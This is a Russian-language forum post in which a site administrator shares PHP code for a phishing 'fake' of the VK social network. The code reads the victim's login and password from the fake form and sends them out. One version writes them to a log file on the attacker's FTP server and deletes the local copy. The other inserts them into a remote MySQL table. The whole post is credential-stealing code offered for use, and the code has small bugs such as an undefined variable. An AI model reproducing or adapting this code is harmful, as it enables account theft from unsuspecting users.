Приветствую Вас, Гость! Регистрация RSS

Мой сайт

Суббота, 16.05.2026
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: Maxxx, Nis  
Отправка логов в MySQL или FTP
NisДата: Вторник, 06.09.2011, 14:10 | Сообщение # 1
Basicminator
Группа: Администраторы
Сообщений: 46
Репутация: 32767
Статус: Offline
1. FTP

И так, вот код:
Code
$ftp_server = (""); // сервер FTP  
$ftp_login = (""); // логин FTP   
$ftp_pass = (""); // пароль FTP  
$file = ('logs.txt'); // имя файла с логами  
$vk_login = c("edit1")->text; // логин (с фейка)  
$vk_pass = c("edit2")->text; // пароль (с фейка)  
$open = ftp_connect($ftp_server, 21, 30); // подключение к FTP  серверу  
ftp_connect($ftp_server, 21, 30); // подключаемся  
ftp_login($open, $ftp_login, $ftp_pass); // авторизуемся  
ftp_get($open, $file, $file, FTP_BINARY); // скачиваем файл с логами  
$log = fopen($file,"a+"); // открываем скаченный файл  
fwrite($log,"$vk_login;$vk_pass \n"); // записываем данные  
fclose($log); // закрываем файл  
ftp_pasv($open, true); // переключаемся в пассивный режим  
!ftp_put($open, $file, $file, FTP_BINARY); // отправляем файл на FTP  
ftp_close($open); // закрываем соеденение  
file_delete("$file"); // удаляем файл с логами из компьютера  

Создаем в корне FTP файл logs.txt с правами 777
2. База MySQL
Для того, чтобы этот способ работал, необходим удаленный доступ к базе данных.
Создаем базу данных и делаем SQL запрос:
Code
CREATE TABLE  `vk_logs` (
`id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY ,
`login` VARCHAR( 255 ) NOT NULL ,
`password` VARCHAR( 255 ) NOT NULL
) ENGINE = INNODB CHARACTER SET utf8 COLLATE utf8_general_ci;

Код:
Code
$vk_login = c("edit1")->text; // логин (с фейка)  
$vk_pass = c("edit2")->text; // пароль (с фейка)  

$hostname = "localhost"; // адрес MySQL сервера  
$username = "myusername"; // имя пользователя MySQL  
$password = "mypassword"; // пароль пользователя MySQL  
$dbName = "products"; // имя базы данных MySQL  

mysql_connect($hostname,$username,$password); // подключаемся  
mysql_select_db($dbName); // выбираем базу данных  
mysql_query("INSERT INTO `vk_logs` SET `login`='".$vk_login."', `password`='".$vk_password."';"); // выполняем запрос записи  
mysql_close($hostname);  закрываем соеденение  
 
  • Страница 1 из 1
  • 1
Поиск: